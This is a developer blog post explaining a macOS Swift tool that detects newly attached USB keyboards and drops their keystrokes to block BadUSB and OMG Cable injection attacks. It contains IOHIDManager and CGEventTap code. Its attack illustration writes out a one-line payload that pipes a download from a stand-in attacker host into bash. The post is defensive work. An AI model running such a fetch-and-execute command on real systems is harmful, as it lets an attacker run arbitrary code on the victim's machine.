DEV Community

Cover image for Dropping BadUSB Keystrokes on macOS Before They Open Spotlight
Tetsuharu Fujiki
Tetsuharu Fujiki

Posted on

Dropping BadUSB Keystrokes on macOS Before They Open Spotlight

A Japanese version of this is on Note.

A few weeks ago, I watched a demonstration of an OMG Cable attacking a Mac.

If you haven't seen one in person, it is genuinely unnerving. The cable looks 100% identical to a standard braided USB-C charging cord. It charges an iPhone normally. But the instant you plug it into a laptop, an embedded microcontroller registers as a virtual USB keyboard and blasts keystrokes at over 1,000 words per minute.

Before your brain even registers that a device was plugged in, you see Spotlight flicker for a fraction of a second, Terminal pops up, and a one-line payload is executed:

Cmd+Space ➔ "terminal" ➔ Enter ➔ curl -sL https://attacker.com/payload | bash ➔ Cmd+Q
Enter fullscreen mode Exit fullscreen mode

The entire compromise happens in under 500 milliseconds. No downloaded file to double-click. No browser prompt. Just an innocent-looking charging cable.

While building RoamSwitch, a lightweight macOS security utility, I realized our digital perimeter doesn't mean much if someone can compromise the local shell with physical access.

Here is how I implemented a physical keystroke-quarantine guard in Swift that drops BadUSB keystrokes in flight before macOS can process them.


Why macOS Doesn't Stop This Out of the Box

Apple introduced the "Allow accessory to connect?" dialog in macOS Ventura, which was a welcome step forward for USB-C security. But against a BadUSB cable, it runs into two practical problems:

  1. The user already wants to connect it: If you borrowed a cable to charge your dying battery, you will click "Allow" without hesitation.
  2. OS trust architecture: Once authorized at the bus level, macOS treats USB keyboards as trusted human input. There is no OS-level check to ask "is a human finger physically pressing these keys, or is a microchip spamming 100 keystrokes a millisecond?"

To macOS, every keystroke received from an authorized HID keyboard represents the direct, intentional command of the logged-in user.


The Quarantine Strategy: Drop Everything First

If you wait for a user to read an alert and click "Block," you've already lost. A BadUSB payload finishes before the human eye can even focus on a notification banner.

The only way to win this race is fail-closed quarantine:

[New USB Keyboard / BadUSB Inserted]
                 │
                 ▼
     [IOHIDManager Callback]
  (Detects non-whitelisted device)
                 │
                 ▼
    [Set isBlockingActive = true]
                 │
                 ▼
       [CGEventTap Callback]
(Returns nil for all key events: instant drop!)
                 │
                 ▼
  [Display Modal: "Did you plug this in?"]
   ├── User clicks "Approve": Whitelist & unblock
   └── User clicks "Reject": Keep blocked indefinitely
Enter fullscreen mode Exit fullscreen mode

The moment a physical USB keyboard is plugged in:

  1. IOHIDManager catches the attachment event.
  2. If the device's hardware identity isn't already on the local whitelist, we immediately set isBlockingActive = true.
  3. A system-wide CGEventTap sitting at the very head of the HID event queue begins returning nil for all keyDown, keyUp, and modifier events.
  4. The 1,000 WPM script screams into the void. Not a single character reaches Spotlight or Terminal.
  5. An interactive modal pops up on screen: "New keyboard detected. Did you plug this in?"

The Swift Implementation: Why User Space Wins Over DriverKit

The purist approach to USB security is writing a DriverKit System Extension (com.apple.developer.driverkit.transport.usb). But for an indie macOS utility, DriverKit introduces massive practical friction:

  • Apple-Gated Entitlements: USB transport drivers require special developer entitlements that require manual application and lengthy approval cycles from Apple.
  • Install Friction: System Extensions demand administrator prompts, navigating System Settings security panes, and often requiring system reboots.
  • Crash Blast Radius: A bug in a low-level driver can panic the entire system.

Instead, we can achieve identical protection entirely in user space by pairing two native macOS subsystems: IOHIDManager (for hardware topology monitoring) and CGEventTap (for low-latency keystroke filtering using standard Accessibility permissions). It requires zero reboots, zero custom kernel drivers, and zero special Apple entitlement requests.

1. Detecting Physical Insertion with IOHIDManager

We register an IOHIDManager on the main runloop configured to match generic desktop keyboard devices:

import IOKit
import IOKit.hid

private func startHIDMonitoring() {
    let manager = IOHIDManagerCreate(kCFAllocatorDefault, IOOptionBits(kIOHIDOptionsTypeNone))
    self.hidManager = manager

    let matchingDict: [String: Any] = [
        kIOHIDDeviceUsagePageKey: kHIDPage_GenericDesktop,
        kIOHIDDeviceUsageKey: kHIDUsage_GD_Keyboard
    ]
    IOHIDManagerSetDeviceMatching(manager, matchingDict as CFDictionary)

    let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque())

    IOHIDManagerRegisterDeviceMatchingCallback(manager, { (context, result, sender, device) in
        guard let context = context else { return }
        let guardInstance = Unmanaged<USBKeyboardGuard>.fromOpaque(context).takeUnretainedValue()
        Task { @MainActor in
            guardInstance.handleDeviceConnected(device: device)
        }
    }, context)

    IOHIDManagerScheduleWithRunLoop(manager, CFRunLoopGetMain(), CFRunLoopMode.defaultMode.rawValue)
    IOHIDManagerOpen(manager, IOOptionBits(kIOHIDOptionsTypeNone))
}
Enter fullscreen mode Exit fullscreen mode

When a device connects, we extract its Vendor ID, Product ID, Serial Number, and Transport. If it's not in our allowlist, we flip the killswitch immediately:

private func handleDeviceConnected(device: IOHIDDevice) {
    let name = (IOHIDDeviceGetProperty(device, kIOHIDProductKey as CFString) as? String) ?? "Unknown Keyboard"
    let vendorId = IOHIDDeviceGetProperty(device, kIOHIDVendorIDKey as CFString) as? Int
    let productId = IOHIDDeviceGetProperty(device, kIOHIDProductIDKey as CFString) as? Int
    let serial = IOHIDDeviceGetProperty(device, kIOHIDSerialNumberKey as CFString) as? String
    let transport = (IOHIDDeviceGetProperty(device, kIOHIDTransportKey as CFString) as? String) ?? ""

    // Never block the built-in Mac keyboard!
    if isInternalKeyboard(name: name, vendorId: vendorId, transport: transport) {
        return
    }

    let identifier = makeDeviceIdentifier(vendorId: vendorId, productId: productId, serialNumber: serial, name: name)

    if !allowedKeyboards.contains(where: { $0.deviceIdentifier == identifier }) {
        isBlockingActive = true
        showApprovalModal(for: identifier, name: name)
    }
}
Enter fullscreen mode Exit fullscreen mode

2. Dropping Raw Keystrokes via CGEventTap

To discard key events before any application sees them, we create a CGEventTap placed at .headInsertEventTap.

When isBlockingActive is true, returning nil from the tap callback completely swallows the event:

import CoreGraphics

private func startEventTap() {
    let mask = (1 << CGEventType.keyDown.rawValue) |
               (1 << CGEventType.keyUp.rawValue) |
               (1 << CGEventType.flagsChanged.rawValue)

    let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque())

    guard let tap = CGEvent.tapCreate(
        tap: .cghidEventTap,
        place: .headInsertEventTap,
        options: .defaultTap,
        eventsOfInterest: CGEventMask(mask),
        callback: { (proxy, type, event, refcon) -> Unmanaged<CGEvent>? in
            guard let refcon = refcon else { return Unmanaged.passRetained(event) }
            let guardInstance = Unmanaged<USBKeyboardGuard>.fromOpaque(refcon).takeUnretainedValue()

            // If an unapproved keyboard is pending, drop every key event instantly
            if guardInstance.isBlockingActive {
                return nil
            }
            return Unmanaged.passRetained(event)
        },
        userInfo: context
    ) else {
        return
    }

    self.eventTap = tap
    let source = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, tap, 0)
    CFRunLoopAddSource(CFRunLoopGetMain(), source, CFRunLoopMode.commonModes)
    CGEvent.tapEnable(tap: tap, enable: true)
}
Enter fullscreen mode Exit fullscreen mode

The Terrifying Gotcha: Don't Lock Out the Built-in Keyboard

When you write code that drops all keystrokes globally on macOS, testing it gives you a minor adrenaline rush. If your internal keyboard detection fails, your Mac stops accepting all key input, and you can't even type your sudo password to kill the process.

MacBook internal keyboards don't show up as generic external USB devices. We reliably whitelist them by checking for internal transport protocols and Apple vendor IDs:

private func isInternalKeyboard(name: String, vendorId: Int?, transport: String) -> Bool {
    let lowerName = name.lowercased()

    // Internal naming identifiers
    if lowerName.contains("apple internal") || lowerName.contains("magic keyboard") || lowerName.contains("internal keyboard") {
        return true
    }

    // Internal Mac keyboards typically communicate over SPI or FIFO
    if transport.lowercased() == "spi" || transport.lowercased() == "fifo" {
        return true
    }

    // Apple Vendor ID (0x05ac) internal assemblies
    if vendorId == 0x05ac && (lowerName.contains("top case") || lowerName.contains("keyboard")) {
        return true
    }

    return false
}
Enter fullscreen mode Exit fullscreen mode

By guaranteeing that internal SPI/FIFO keyboards are permanently whitelisted on boot, the user can always interact with the approval modal and their Mac, while the external rogue device stays trapped in the quarantine box.


What About Flash Drives?

Keystroke injection is only half of the physical port problem. The other half is someone plugging in an unauthorized USB flash drive to copy files or drop binaries while you're grabbing coffee.

In RoamSwitch, we paired this with a volume guard that listens to NSWorkspace mount notifications. Any external mass-storage drive that isn't on the trusted UUID whitelist is instantly unmounted and ejected before macOS finishes indexing it.


The Physical Blind Spot

We spend enormous engineering effort hardening network boundaries—configuring packet filter firewalls, locking down open ports, and rotating credentials.

Yet across all operating systems, the USB port remains a direct, unauthenticated pipeline straight into the user session.

Treating newly attached physical HID devices as untrusted by default isn't paranoia—it's just applying the same zero-trust philosophy we use on the network to the hardware ports sitting on the side of our laptops.

Top comments (0)